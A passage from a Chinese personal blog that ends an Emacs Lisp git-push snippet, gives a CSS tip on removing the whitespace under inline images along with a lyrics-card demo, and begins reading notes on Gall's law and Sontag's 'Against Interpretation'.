class="org-comment">you can push the HTML manual, or add auto push process below.</span> (<span class="org-keyword">let</span> ((default-directory repo-dir)) (<span class="org-keyword">unless</span> (file-directory-p (expand-file-name <span class="org-string">".git"</span> repo-dir)) (<span class="org-warning">user-error</span> <span class="org-string">"Not a git repository: %s"</span> repo-dir)) (shell-command <span class="org-string">"git add index.html"</span>) (<span class="org-keyword">let</span> ((status (shell-command-to-string <span class="org-string">"git status --porcelain index.html"</span>))) (<span class="org-keyword">if</span> (string-empty-p status) (message <span class="org-string">"No changes to commit."</span>) (<span class="org-keyword">let</span> ((commit-msg <span class="org-string">":memo: update reading list"</span>)) (shell-command (format <span class="org-string">"git commit -m \"%s\""</span> commit-msg)) (message <span class="org-string">"Sync with origin..."</span>) (shell-command <span class="org-string">"git pull"</span> nil nil) (message <span class="org-string">"Pushing to origin..."</span>) (<span class="org-keyword">if</span> (= 0 (shell-command <span class="org-string">"git push"</span> nil nil)) (message <span class="org-string">"Add entries and pushed to origin."</span>) (message <span class="org-string">"Add entries but push failed."</span>)))))))) </code></pre> </div> </details> <p> <a href="https://github.com/Spike-Leung/reading-list">reading-list</a> 很简单,一个 <code>index.html</code> 容纳所有导出的链接,一个 <code>main.css</code> 添加一些简单的样式,然后配置一下 GitHub Page 就行。 </p> <p> 这样我就可以继续快乐地用 Elfeed 管理订阅流,保持单一的数据源,既能在电脑上使用 Elfeed 阅读,出门了也能有一份链接列表可以看。我本来也倾向于去原网站阅读,所以一份简单的链接列表对我来说就足够了。我会使用一段时间看看效果,如果你想看看生成的 HTML 页面: </p> <p> ☞ <a href="https://spike-leung.github.io/reading-list/">Reading list</a> </p> </div> <hr> <p>感谢你的阅读!</p> <p>欢迎 <a href="mailto:l-yanlei@hotmail.com">邮件</a> 跟我分享你的想法 :)</p> <p>你也可以 <a href="https://taxodium.ink/subscribe.html">訂閱</a> 我的博客,保持更新 :P</p> <p>祝好,素未某面的读者。</p> <a href="https://taxodium.ink/export-elfeed-selected-entries-to-github-page-as-reading-list.txt">純文本版本</a> <a href="https://taxodium.ink/export-elfeed-selected-entries-to-github-page-as-reading-list.org">原始 org 文件</a>

2026/5/21
阅读更多

TIL: 移除图片下方多余的空白

<div id="content" class="content e-content"> <header> <h1 class="title p-name">TIL: 移除图片下方多余的空白</h1> </header> <div id="outline-container-89097B21-70E8-4653-AFC9-32864F19C964" class="outline-2"> <h2 id="89097B21-70E8-4653-AFC9-32864F19C964"><a href="#89097B21-70E8-4653-AFC9-32864F19C964">問題和原因</a></h2> <div class="outline-text-2" id="text-89097B21-70E8-4653-AFC9-32864F19C964"><div class="org-src-container"> <pre class="src src-html"><code>&lt;<span class="org-function-name">div</span> <span class="org-variable-name">style</span>=<span class="org-string">"border: 2px solid;"</span>&gt; &lt;<span class="org-function-name">img</span> <span class="org-variable-name">src</span>=<span class="org-string">"/images/album/20251226T172918--&#26790;&#24819;&#23478;-the-dreamer__20241018_khalilfong_albumwall_image_&#26041;&#22823;&#21516;.webp"</span> /&gt; &lt;/<span class="org-function-name">div</span>&gt; </code></pre> </div> <div style="border: 2px solid"> <img src="/images/album/20251226T172918--梦想家-the-dreamer__20241018_khalilfong_albumwall_image_方大同.webp" > </div> <p> 留意上面的图片, <code>div</code> 里只有一个 <code>img</code> 元素,但 <code>img</code> 没有占滿 <code>div</code> ,在 <code>img</code> 下面还空了些許高度。 </p> <p> 這是因為 <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/img#:~:text=%3Cimg%3E%20is%20a%20replaced%20element%3B%20it%20has%20a%20display%20value%20of%20inline%20by%20default%2C">img 是行內元素</a>,行內元素的特性是: </p> <ul class="org-ul"> <li>行内元素按行布局</li> <li>每行都有一个基线 (<a href="https://developer.mozilla.org/en-US/docs/Glossary/Baseline/Typography">baseline</a>)</li> <li>基线由字体决定</li> <li><b>默认情况下,所有行内元素都与基线对齐</b></li> </ul> <figure> <a href="images/til-remove-extra-empty-area-from-img/baseline-of-inlinebox.webp"><img src="images/til-remove-extra-empty-area-from-img/baseline-of-inlinebox.webp" alt="baseline-of-inlinebox.webp"></a> <figcaption><span class="figure-number">&#22270;1&nbsp; </span>行內元素布局示例。文字拆成了兩行。 文字本身也是行內元素,默认情况下,与基线(紧贴着字母底部的线)对齐。 图片來源:<a href="https://polypane.app/blog/understanding-the-fundamentals-of-css-layout/">https://polypane.app/blog/understanding-the-fundamentals-of-css-layout/</a></figcaption> </figure> <p> 从上面的图可以看到,行内元素默认与基线对齐,而基线和行的底部还留有一些空間,這个空間是留给像是 g、j、p、y 等笔划会延展到基线下的字符的。 </p> <p> 图片也是行內元素,<a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/img#:~:text=%3Cimg%3E%20has%20no%20baseline%2C%20so%20when%20images%20are%20used%20in%20an%20inline%20formatting%20context%20with%20vertical%2Dalign%3A%20baseline%2C%20the%20bottom%20of%20the%20image%20will%20be%20placed%20on%20the%20text%20baseline">自身没有基线,默认与文字的基线對齐</a>,也就同樣在基线下保留一些空間。 </p> </div> </div> <div id="outline-container-F57AD9B7-119A-46A5-AADC-483F5C603B57" class="outline-2"> <h2 id="F57AD9B7-119A-46A5-AADC-483F5C603B57"><a href="#F57AD9B7-119A-46A5-AADC-483F5C603B57">解决方案</a></h2> <div class="outline-text-2" id="text-F57AD9B7-119A-46A5-AADC-483F5C603B57"><p> 在当前场景下我并不想要這点多余的空白,可以通過以下方法解决: </p> <p> <b>1.將图片設為 <code>display: block;</code> ,变成块级元素,不再是行內元素,也就不受基线影响</b> </p> <div class="org-src-container"> <pre class="src src-html"><code>&lt;<span class="org-function-name">div</span> <span class="org-variable-name">style</span>=<span class="org-string">"border: 2px solid;"</span>&gt; &lt;<span class="org-function-name">img</span> <span class="org-variable-name">style</span>=<span class="org-string">"display:block;"</span> <span class="org-variable-name">src</span>=<span class="org-string">"/images/album/20251226T172918--&#26790;&#24819;&#23478;-the-dreamer__20241018_khalilfong_albumwall_image_&#26041;&#22823;&#21516;.webp"</span> /&gt; &lt;/<span class="org-function-name">div</span>&gt; </code></pre> </div> <div style="border: 2px solid"> <img style="display:block" src="/images/album/20251226T172918--梦想家-the-dreamer__20241018_khalilfong_albumwall_image_方大同.webp"> </div> <hr> <p> <b>2.給图片容器設置 <code>line-height: 0;</code> ,行高為 0,基线底部也不存在高度</b> </p> <div class="org-src-container"> <pre class="src src-html"><code>&lt;<span class="org-function-name">div</span> <span class="org-variable-name">style</span>=<span class="org-string">"border: 2px solid; line-height: 0;"</span>&gt; &lt;<span class="org-function-name">img</span> <span class="org-variable-name">src</span>=<span class="org-string">"/images/album/20251226T172918--&#26790;&#24819;&#23478;-the-dreamer__20241018_khalilfong_albumwall_image_&#26041;&#22823;&#21516;.webp"</span> /&gt; &lt;/<span class="org-function-name">div</span>&gt; </code></pre> </div> <div style="border: 2px solid; line-height:0"> <img src="/images/album/20251226T172918--梦想家-the-dreamer__20241018_khalilfong_albumwall_image_方大同.webp" > </div> <hr> <p> <b>3.給图片設置 <code>vertical-align: top; /​* or bottom *​/</code> ,不和基线对齐,和行的上下边䧘对齐</b> </p> <div class="org-src-container"> <pre class="src src-html"><code>&lt;<span class="org-function-name">div</span> <span class="org-variable-name">style</span>=<span class="org-string">"border: 2px solid;"</span>&gt; &lt;<span class="org-function-name">img</span> <span class="org-variable-name">style</span>=<span class="org-string">"vertical-align: top;"</span> <span class="org-variable-name">src</span>=<span class="org-string">"/images/album/20251226T172918--&#26790;&#24819;&#23478;-the-dreamer__20241018_khalilfong_albumwall_image_&#26041;&#22823;&#21516;.webp"</span> /&gt; &lt;/<span class="org-function-name">div</span>&gt; </code></pre> </div> <div style="border: 2px solid"> <img style="vertical-align: top" src="/images/album/20251226T172918--梦想家-the-dreamer__20241018_khalilfong_albumwall_image_方大同.webp"> </div> <p> 你可以基于使用场景选择合适的方案,我一般会用 <code>vertical-align: top;</code> ,应该是其中副作用最小的。 </p> </div> </div> <div id="outline-container-8226EC82-1A04-4B7A-AEB4-1EEC04A6AB07" class="outline-2"> <h2 id="8226EC82-1A04-4B7A-AEB4-1EEC04A6AB07"><a href="#8226EC82-1A04-4B7A-AEB4-1EEC04A6AB07">Bonus: 制作一个歌詞卡片</a></h2> <div class="outline-text-2" id="text-8226EC82-1A04-4B7A-AEB4-1EEC04A6AB07"><style> @scope (.card) { :scope { position: relative; border-radius: 5px; overflow: hidden; /* 移除图片下多余空白,lyrics 設置 height: 100%; 才刚好是 cover 的高度 */ .cover { vertical-align: top; } .lyrics { box-sizing: border-box; position: absolute; inset-block-start: 0; inset-inline-start: 0; /* 让歌詞和封面等高,超出則滾動歌詞 */ height: 100%; overflow: auto; margin: 0; border: 0; border-radius: 10px; /* 顏色要基于封面調整 */ color: #328c7c; /* 增加一个半透明背景可以让歌詞清晰一些的同時也好看 */ background: linear-gradient(to left, transparent, oklch(from #d4da98 l c h / .5)); /* 隐藏滾動条,好看些 */ scrollbar-width: none; padding-block: 2rem; padding-inline: 1rem; /* 給上下边缘遮罩,模糊上下边缘 */ mask-image: linear-gradient( to bottom, transparent 0%, black 20%, black 80%, transparent 100% ); -webkit-mask-image: linear-gradient( to bottom, transparent 0%, black 20%, black 80%, transparent 100% ); } } } </style> <div class="card"> <img class="cover" src="/images/album/20251226T172918--梦想家-the-dreamer__20241018_khalilfong_albumwall_image_方大同.webp" > <p class="lyrics"> I framed your picture on my wall<br> 说过的话 美丽的夏 都过完了<br> I didn’t know that I would fall<br> 都忘了吧 说不需挂 回忆放下<br> 生活里种种的平凡<br> 现实总会让人心烦<br> 话语中常会带 许多的批判<br> 往往脱口而出的交流带来遗憾<br> Well it’s useless to say<br> Anymore<br> It’s ok<br> Anyway<br> You’ll give up<br> I’ll let down<br> That’s the way it should go<br> Oh my love I could want you to stay<br> But the truth’s telling me<br> That there’s nothing here left to say<br> I framed your picture on my wall<br> 说过的话 美丽的夏 都过完了<br> I didn’t know that I would fall<br> 都忘了吧 说不需挂 回忆放下<br> 没有最完美的选择<br> 缘份自有它的原则<br> 恋爱的对话中 有多少决策<br> 做好了决定 狠心 但总算有解了<br> Well it’s useless to say<br> Anymore<br> It’s ok<br> Anyway<br> You’ll give up<br> I’ll let down<br> That’s the way it should go<br> Oh my love I could want you to stay<br> But the truth’s telling me<br> That there’s nothing here left to say<br> I think we’ve said it all<br> I think we’ve said it…all…all<br> Doo doo doo doo doo doo<br> Well it’s useless to say<br> Anymore<br> It’s ok<br> Anyway<br> You’ll give up<br> I’ll let down<br> That’s the way it should go<br> Oh my love I could want you to stay<br> But the truth’s telling me<br> That there’s nothing here left to<br> </p> </div> <details> <summary>实現代碼</summary> <div class="org-src-container"> <pre class="src src-html"><code>&lt;<span class="org-function-name">div</span> <span class="org-variable-name">class</span>=<span class="org-string">"card"</span>&gt; &lt;<span class="org-function-name">img</span> <span class="org-variable-name">class</span>=<span class="org-string">"cover"</span> <span class="org-variable-name">src</span>=<span class="org-string">"/images/album/20251226T172918--&#26790;&#24819;&#23478;-the-dreamer__20241018_khalilfong_albumwall_image_&#26041;&#22823;&#21516;.webp"</span> /&gt; &lt;<span class="org-function-name">p</span> <span class="org-variable-name">class</span>=<span class="org-string">"lyrics"</span>&gt; I framed your picture on my wall&lt;<span class="org-function-name">br</span>/&gt; &#35828;&#36807;&#30340;&#35805; &#32654;&#20029;&#30340;&#22799; &#37117;&#36807;&#23436;&#20102;&lt;<span class="org-function-name">br</span>/&gt; I didn&#8217;t know that I would fall&lt;<span class="org-function-name">br</span>/&gt; &#37117;&#24536;&#20102;&#21543; &#35828;&#19981;&#38656;&#25346; &#22238;&#24518;&#25918;&#19979;&lt;<span class="org-function-name">br</span>/&gt; &#29983;&#27963;&#37324;&#31181;&#31181;&#30340;&#24179;&#20961;&lt;<span class="org-function-name">br</span>/&gt; &#29616;&#23454;&#24635;&#20250;&#35753;&#20154;&#24515;&#28902;&lt;<span class="org-function-name">br</span>/&gt; &#35805;&#35821;&#20013;&#24120;&#20250;&#24102; &#35768;&#22810;&#30340;&#25209;&#21028;&lt;<span class="org-function-name">br</span>/&gt; &#24448;&#24448;&#33073;&#21475;&#32780;&#20986;&#30340;&#20132;&#27969;&#24102;&#26469;&#36951;&#25022;&lt;<span class="org-function-name">br</span>/&gt; Well it&#8217;s useless to say&lt;<span class="org-function-name">br</span>/&gt; Anymore&lt;<span class="org-function-name">br</span>/&gt; It&#8217;s ok&lt;<span class="org-function-name">br</span>/&gt; Anyway&lt;<span class="org-function-name">br</span>/&gt; You&#8217;ll give up&lt;<span class="org-function-name">br</span>/&gt; I&#8217;ll let down&lt;<span class="org-function-name">br</span>/&gt; That&#8217;s the way it should go&lt;<span class="org-function-name">br</span>/&gt; Oh my love I could want you to stay&lt;<span class="org-function-name">br</span>/&gt; But the truth&#8217;s telling me&lt;<span class="org-function-name">br</span>/&gt; That there&#8217;s nothing here left to say&lt;<span class="org-function-name">br</span>/&gt; I framed your picture on my wall&lt;<span class="org-function-name">br</span>/&gt; &#35828;&#36807;&#30340;&#35805; &#32654;&#20029;&#30340;&#22799; &#37117;&#36807;&#23436;&#20102;&lt;<span class="org-function-name">br</span>/&gt; I didn&#8217;t know that I would fall&lt;<span class="org-function-name">br</span>/&gt; &#37117;&#24536;&#20102;&#21543; &#35828;&#19981;&#38656;&#25346; &#22238;&#24518;&#25918;&#19979;&lt;<span class="org-function-name">br</span>/&gt; &#27809;&#26377;&#26368;&#23436;&#32654;&#30340;&#36873;&#25321;&lt;<span class="org-function-name">br</span>/&gt; &#32536;&#20221;&#33258;&#26377;&#23427;&#30340;&#21407;&#21017;&lt;<span class="org-function-name">br</span>/&gt; &#24651;&#29233;&#30340;&#23545;&#35805;&#20013; &#26377;&#22810;&#23569;&#20915;&#31574;&lt;<span class="org-function-name">br</span>/&gt; &#20570;&#22909;&#20102;&#20915;&#23450; &#29408;&#24515; &#20294;&#24635;&#31639;&#26377;&#35299;&#20102;&lt;<span class="org-function-name">br</span>/&gt; Well it&#8217;s useless to say&lt;<span class="org-function-name">br</span>/&gt; Anymore&lt;<span class="org-function-name">br</span>/&gt; It&#8217;s ok&lt;<span class="org-function-name">br</span>/&gt; Anyway&lt;<span class="org-function-name">br</span>/&gt; You&#8217;ll give up&lt;<span class="org-function-name">br</span>/&gt; I&#8217;ll let down&lt;<span class="org-function-name">br</span>/&gt; That&#8217;s the way it should go&lt;<span class="org-function-name">br</span>/&gt; Oh my love I could want you to stay&lt;<span class="org-function-name">br</span>/&gt; But the truth&#8217;s telling me&lt;<span class="org-function-name">br</span>/&gt; That there&#8217;s nothing here left to say&lt;<span class="org-function-name">br</span>/&gt; I think we&#8217;ve said it all&lt;<span class="org-function-name">br</span>/&gt; I think we&#8217;ve said it&#8230;all&#8230;all&lt;<span class="org-function-name">br</span>/&gt; Doo doo doo doo doo doo&lt;<span class="org-function-name">br</span>/&gt; Well it&#8217;s useless to say&lt;<span class="org-function-name">br</span>/&gt; Anymore&lt;<span class="org-function-name">br</span>/&gt; It&#8217;s ok&lt;<span class="org-function-name">br</span>/&gt; Anyway&lt;<span class="org-function-name">br</span>/&gt; You&#8217;ll give up&lt;<span class="org-function-name">br</span>/&gt; I&#8217;ll let down&lt;<span class="org-function-name">br</span>/&gt; That&#8217;s the way it should go&lt;<span class="org-function-name">br</span>/&gt; Oh my love I could want you to stay&lt;<span class="org-function-name">br</span>/&gt; But the truth&#8217;s telling me&lt;<span class="org-function-name">br</span>/&gt; That there&#8217;s nothing here left to&lt;<span class="org-function-name">br</span>/&gt; &lt;/<span class="org-function-name">p</span>&gt; &lt;/<span class="org-function-name">div</span>&gt; </code></pre> </div> <div class="org-src-container"> <pre class="src src-css"><code><span class="org-css-selector">.card</span> { <span class="org-css-property">position</span>: relative; <span class="org-css-property">border-radius</span>: 5px; <span class="org-css-property">overflow</span>: hidden; <span class="org-comment-delimiter">/* </span><span class="org-comment">&#31227;&#38500;&#22270;&#29255;&#19979;&#22810;&#20313;&#31354;&#30333;&#65292;lyrics &#35373;&#32622; height: 100%; &#25165;&#21018;&#22909;&#26159; cover &#30340;&#39640;&#24230;</span><span class="org-comment-delimiter"> */</span> <span class="org-css-selector">.cover</span> { <span class="org-css-property">vertical-align</span>: top; } <span class="org-css-selector">.lyrics</span> { <span class="org-css-property">box-sizing</span>: border-box; <span class="org-css-property">position</span>: absolute; <span class="org-css-property">inset-block-start</span>: 0; <span class="org-css-property">inset-inline-start</span>: 0; <span class="org-comment-delimiter">/* </span><span class="org-comment">&#35753;&#27468;&#35422;&#21644;&#23553;&#38754;&#31561;&#39640;&#65292;&#36229;&#20986;&#21063;&#28414;&#21205;&#27468;&#35422;</span><span class="org-comment-delimiter"> */</span> <span class="org-css-property">height</span>: 100%; <span class="org-css-property">overflow</span>: auto; <span class="org-css-property">margin</span>: 0; <span class="org-css-property">border</span>: 0; <span class="org-css-property">border-radius</span>: 10px; <span class="org-comment-delimiter">/* </span><span class="org-comment">&#38991;&#33394;&#35201;&#22522;&#20110;&#23553;&#38754;&#35519;&#25972;</span><span class="org-comment-delimiter"> */</span> <span class="org-css-property">color</span>: <span class="custom-2">#328c7c</span>; <span class="org-comment-delimiter">/* </span><span class="org-comment">&#22686;&#21152;&#19968;&#20010;&#21322;&#36879;&#26126;&#32972;&#26223;&#21487;&#20197;&#35753;&#27468;&#35422;&#28165;&#26224;&#19968;&#20123;&#30340;&#21516;&#26178;&#20063;&#22909;&#30475;</span><span class="org-comment-delimiter"> */</span> <span class="org-css-property">background</span>: linear-gradient(to left, transparent, oklch(from <span class="custom-1">#d4da98</span> l c h / .5)); <span class="org-comment-delimiter">/* </span><span class="org-comment">&#38544;&#34255;&#28414;&#21205;&#26465;&#65292;&#22909;&#30475;&#20123;</span><span class="org-comment-delimiter"> */</span> <span class="org-css-property">scrollbar-width</span>: none; <span class="org-css-property">padding-block</span>: 2rem; <span class="org-css-property">padding-inline</span>: 1rem; <span class="org-comment-delimiter">/* </span><span class="org-comment">&#32102;&#19978;&#19979;&#36793;&#32536;&#36974;&#32617;&#65292;&#27169;&#31946;&#19978;&#19979;&#36793;&#32536;</span><span class="org-comment-delimiter"> */</span> <span class="org-css-property">mask-image</span>: linear-gradient( to bottom, transparent 0%, <span class="custom">black</span> 20%, <span class="custom">black</span> 80, transparent 100% ); <span class="org-css-proprietary-property">-webkit-mask-image</span>: linear-gradient( to bottom, transparent 0%, <span class="custom">black</span> 20%, <span class="custom">black</span> 80%, transparent 100% ); } } </code></pre> </div> </details> </div> </div> <div id="outline-container-5AACDA71-EAA6-4FB0-B26B-0E600AF7081E" class="outline-2"> <h2 id="5AACDA71-EAA6-4FB0-B26B-0E600AF7081E"><a href="#5AACDA71-EAA6-4FB0-B26B-0E600AF7081E">推荐閱讀</a></h2> <div class="outline-text-2" id="text-5AACDA71-EAA6-4FB0-B26B-0E600AF7081E"><ul class="org-ul"> <li><a href="https://polypane.app/blog/understanding-the-fundamentals-of-css-layout/#how-inline-boxes-work">Understanding the fundamentals of CSS Layout / How inline boxes work</a> by Polypane</li> </ul> </div> </div> </div> <hr> <p>感谢你的阅读!</p> <p>欢迎 <a href="mailto:l-yanlei@hotmail.com">邮件</a> 跟我分享你的想法 :)</p> <p>你也可以 <a href="https://taxodium.ink/subscribe.html">訂閱</a> 我的博客,保持更新 :P</p> <p>祝好,素未某面的读者。</p> <a href="https://taxodium.ink/til-remove-extra-empty-area-from-img.txt">純文本版本</a> <a href="https://taxodium.ink/til-remove-extra-empty-area-from-img.org">原始 org 文件</a>

2026/5/19
阅读更多

Zine#49

<div id="content" class="content e-content"> <header> <h1 class="title p-name">Zine#49</h1> </header> <p> 🎶 嘿!岛 (Black Island) - 表情银行 MimikBanka </p> <div id="outline-container-4C729BAB-53D0-4117-9781-26827640F5B8" class="outline-2"> <h2 id="4C729BAB-53D0-4117-9781-26827640F5B8"><a href="#4C729BAB-53D0-4117-9781-26827640F5B8">News | Article</a></h2> <div class="outline-text-2" id="text-4C729BAB-53D0-4117-9781-26827640F5B8"><details> <summary>目录</summary> <div id="text-table-of-contents-1" role="doc-toc"> <ul> <li><a href="#F2616162-7EEB-4CD8-AC43-27371FD1B55B">A Tale of Two Bridges by pieterh</a></li> <li><a href="#2010CF66-7E24-4A87-8B23-0292F3C2D488">Against Interpretation by Susan Sontag</a></li> <li><a href="#FF319C35-80BD-4CA6-931E-A102E10B4009">Going back to the morning newspaper model by Chandru</a></li> <li><a href="#D5342803-4979-421C-BEE0-F1158B5699DB">The Mystery in the Medicine Cabinet Dynomight by Asterisk</a></li> <li><a href="#3ECB9543-FAB1-4349-B2CB-1B523993F832">On Taste by Matthias Endler</a></li> <li><a href="#58208D30-40AC-428B-BC05-09A8134BB59D">Others</a></li> </ul> </div> </details> </div> <div id="outline-container-F2616162-7EEB-4CD8-AC43-27371FD1B55B" class="outline-3"> <h3 id="F2616162-7EEB-4CD8-AC43-27371FD1B55B"><a href="#F2616162-7EEB-4CD8-AC43-27371FD1B55B"><a href="http://hintjens.com/blog:16">A Tale of Two Bridges</a> by pieterh</a></h3> <div class="outline-text-3" id="text-F2616162-7EEB-4CD8-AC43-27371FD1B55B"><p> 故事很好的诠释了 <a href="https://en.wikipedia.org/wiki/John_Gall_%28author%29#Gall's_law">Gall's law</a>: </p> <blockquote> <p> 一个能正常运作的复杂系统,总是从一个能正常运作的简单系统演变而来。一个从零开始设计的复杂系统永远无法正常运作,也无法通过修补使其正常运作。你必须从一个能正常运作的简单系统重新开始。 </p> <p> A complex system that works is invariably found to have evolved from a simple system that worked. A complex system designed from scratch never works and cannot be patched up to make it work. You have to start over with a working simple system. </p> </blockquote> <p> 以及,要及早行動、发布、驗証。思慮太多,可能早就錯失時機了,遇事不决就先行動看看。 </p> </div> </div> <div id="outline-container-2010CF66-7E24-4A87-8B23-0292F3C2D488" class="outline-3"> <h3 id="2010CF66-7E24-4A87-8B23-0292F3C2D488"><a href="#2010CF66-7E24-4A87-8B23-0292F3C2D488"><a href="http://www.coldbacon.com/writing/sontag-againstinterpretation.html">Against Interpretation</a> by Susan Sontag</a></h3> <div class="outline-text-3" id="text-2010CF66-7E24-4A87-8B23-0292F3C2D488"><p> 中文翻译: <a href="https://www.artda.cn/pinglundangan-c-10023.html">苏珊·桑塔格︱《反对阐释》</a> </p> <p> 作者认為艺术 (画、書、音樂、电影等) 本身是獨立的,不需要去闡釋,去感受它就好。艺术不是一定要回答出它在表达什么,不是非要有什么意义。去闡釋往往需要將艺术本身解构成一系列元素,实际是一種翻譯,而翻譯往往也无法完全傳達原文的意思,糟糕的翻譯甚至会歪曲原意,塞进很多譯者自身的想法。有的感受也是无法用言語描述的,它是純粹的,具有感官上的直接性,是无法被闡釋的。 </p> <blockquote> <p> 我们的任务不是要在艺术作品中挖掘出最大量的内容,更不是要从作品中榨取比已有内容更多的东西。我们的任务是削减内容,以便我们能看清事物本身。 </p> <p> <a href="http://www.coldbacon.com/writing/sontag-againstinterpretation.html#:~:text=Our%20task,means%2E">Source</a> </p> </blockquote> <p> 我大体上认同作者的观点。不過要区分闡釋和理解,像是閱讀,还是要去搞明白作者想表达的東西,不用去過度解讀,但应该要达到理解,能捕捉到作者想表达的東西。 </p> <details> <summary>摘录</summary> <blockquote> <p> 事实是,西方所有关于艺术的意识和反思,都一直局限在希腊艺术理论所划定的范围内,即艺术是「模仿」或「再现」。正是通过这一理论,艺术本身 ⸺ 超越了具体的艺术作品 ⸺ 变得成了一个问题,需要为其辩护。也正是这种对艺术的辩护,催生了一种奇特的视角,使我们习惯称之为「形式」的东西从我们习惯称之为「内容」的东西中分离出来,并导致了那种将内容视为本质、将形式视为附属的所谓「良苦用心」。 </p> <p> 即便在现代,当大多数艺术家和评论家已经抛弃了「艺术是外部现实的再现」这一理论,转而支持「艺术是主观表达」的理论时,模仿论的主要特征依然存在。无论我们将艺术作品构想为一幅画(艺术作为现实的图画),还是构想为一个陈述(艺术作为艺术家的陈述),内容依然排在首位。内容可能已经改变,可能不再那么具象,不再那么清晰地写实,但人们仍然假设艺术作品就是其内容。或者,正如今天通常的说法,艺术作品在定义上就是在「表达」什么。(「X所表达的是……」,「X试图表达的是……」,「X表达了……」等等。) </p> <p> <a href="http://www.coldbacon.com/writing/sontag-againstinterpretation.html#:~:text=The%20fact,etc%2E%29">Source</a> </p> </blockquote> <blockquote> <p> 当然,我指的并不是广义上的阐释,即尼采(正确地)所说的「没有事实,只有阐释」的那种意义。我在这里所说的阐释,是指一种有意识的思维活动,它体现了某种特定的准则和某些阐释的「规则」。 </p> <p> <span class="underline">针对艺术而言,阐释意味着从作品整体中剥离出一系列元素(如 X 、 Y 、 Z 等等)。</span><span class="underline">阐释的任务实际上是一种翻译。</span>阐释者会说:瞧,难道你没看出 X 其实是 ⸺ 或者说,其实意味着 ⸺ A 吗? Y 其实是 B ? Z 其实是 C ? </p> <p> 什么样的情境会促使这种改造文本的奇特计划产生?历史为我们提供了答案的素材。阐释最早出现在古典古代晚期的文化中,当时神话的力量和可信度已被科学启蒙所引入的「现实主义」世界观所打破。一旦困扰后神话意识的问题 ⸺ 即宗教符号的得体性问题 ⸺ 被提出,原始形式的古代文本便不再被接受。于是,阐释被召唤出来,以使古代文本符合「现代」需求。因此,斯多葛学派为了符合他们认为神灵必须具有道德的观点,将荷马史诗中宙斯及其喧闹家族的粗鲁特征寓言化了。他们解释说,荷马通过宙斯与勒托的通奸真正指代的是权力与智慧的结合。同样,亚历山大的菲洛将希伯来圣经的字面历史叙事阐释为精神范式。菲洛说,出埃及、在沙漠中流浪四十年以及进入应许之地的故事,实际上是个人灵魂的解放、磨难和最终救赎的寓言。<span class="underline">因此,阐释以文本的明确含义与(后来的)读者的需求之间的差异为前提。它寻求解决这种差异。</span><span class="underline">情况是,由于某种原因,一个文本变得不可接受;但它又不能被丢弃。</span><span class="underline">阐释是一种激进的策略,通过翻新来保存一个被认为过于珍贵而不能抛弃的旧文本。</span><span class="underline">阐释者在没有实际擦除或重写文本的情况下,正在改变它。</span><span class="underline">但他不能承认自己在这样做。</span><span class="underline">他声称只是通过揭示其真实含义来使其变得易于理解。</span><span class="underline">无论阐释者如何改变文本</span><span class="underline">(另一个臭名昭著的例子是拉比和基督教对明显带有色情色彩的《雅歌》进行的「精神」阐释),</span><span class="underline">他们都必须声称自己是在读出一种已经存在于那里的意义。</span> </p> <p> 然而,在我们这个时代,阐释变得更加复杂。当代对阐释工程的热衷,往往并非出于对棘手文本的虔诚(这种虔诚可能掩盖了某种侵略性),而是源于一种公开的侵略性,一种对表象的公然蔑视。<span class="underline">旧式的阐释虽然执着,但仍保持尊重;它在字面意思之上建立起另一层含义。</span><span class="underline">而现代风格的阐释则是挖掘,且在挖掘的同时进行破坏;它挖掘文本「背后」,以寻找那个真实的潜文本。</span>现代最著名且最具影响力的学说,即马克思和弗洛伊德的学说,实际上等同于复杂的诠释学体系,是侵略性且不虔诚的阐释理论。用弗洛伊德的话说,所有可观察到的现象都被归为显性内容。必须对这些显性内容进行探究和排挤,以寻找其下的真实含义 ⸺ 隐性内容。对于马克思来说,像革命和战争这样的社会事件;对于弗洛伊德来说,个人生活中的事件(如神经官能症症状和口误)以及文本(如梦境或艺术作品) ⸺ 都被视为阐释的契机。根据马克思和弗洛伊德的观点,这些事件只是看起来可以理解。实际上,如果没有阐释,它们就毫无意义。理解即阐释。而阐释就是重新表述现象,实际上是为其寻找一个等价物。 </p> <p> <a href="http://www.coldbacon.com/writing/sontag-againstinterpretation.html#:~:text=3-,Of,for%20it%2E">Source</a> </p> </blockquote> <blockquote> <p> <span class="underline">在大多数现代案例中,阐释等同于平庸之辈拒绝让艺术作品保持独立。</span><span class="underline">真正的艺术有能力让我们感到不安。</span><span class="underline">通过将艺术作品还原为其内容,然后对其进行阐释,人们驯服了艺术作品。</span><span class="underline">阐释使艺术变得易于管理、顺从。</span> </p> <p> <span class="underline">这种阐释的平庸主义在文学中比在任何其他艺术中都更为盛行。</span><span class="underline">几十年来,文学评论家一直认为他们的任务是将诗歌、戏剧、小说或故事的元素转化为其他东西。</span>有时,作家在面对其艺术赤裸裸的力量时会感到如此不安,以至于他会在作品本身中安装 ⸺ 尽管带着一点羞涩,一点讽刺的品味 ⸺ 对其清晰而明确的阐释。托马斯·曼就是这样一位过度合作的作者。对于那些更固执的作者,评论家则非常乐意代劳。 </p> <p> 例如,卡夫卡的作品遭到了不少于三支阐释大军的大规模蹂躏。那些将卡夫卡读作社会寓言的人,看到了现代官僚机构的挫败感和疯狂,以及其最终在极权国家中的体现。那些将卡夫卡读作心理分析寓言的人,看到了卡夫卡对他父亲的恐惧、他的阉割焦虑、他的无能感、他对梦境的束缚的绝望揭示。那些将卡夫卡读作宗教寓言的人解释说,《城堡》中的 K. 正试图进入天堂,《审判》中的约瑟夫· K. 正受到上帝无情而神秘的正义审判…… [&hellip;] </p> <p> 普鲁斯特、乔伊斯、福克纳、里尔克、劳伦斯、纪德……我们可以不断列举下去;那些被厚重的阐释层层包裹的作家名单是无穷无尽的。<span class="underline">但值得注意的是,阐释并不仅仅是平庸对天才的恭维。</span><span class="underline">事实上,它是现代人理解事物的方式,被应用于各种水准的作品。</span> </p> <p> <a href="http://www.coldbacon.com/writing/sontag-againstinterpretation.html#:~:text=5-,In,quality%2E">Source</a> </p> </blockquote> <blockquote> <p> 艺术家是否打算让他们的作品被阐释并不重要。也许田纳西·威廉斯认为《街车》的主题正如卡赞所想的那样。也许考克多在《诗人之血》和《奥菲斯》中确实想要那些基于弗洛伊德象征主义和社会评论的详尽解读。<span class="underline">但这些作品的价值肯定不在于它们的「意义」。</span> [&hellip;] </p> <p> 从访谈来看,雷乃和罗伯-格里耶在创作《去年在马里昂巴德》时,显然是有意设计成可以容纳多种同样合理的阐释。<span 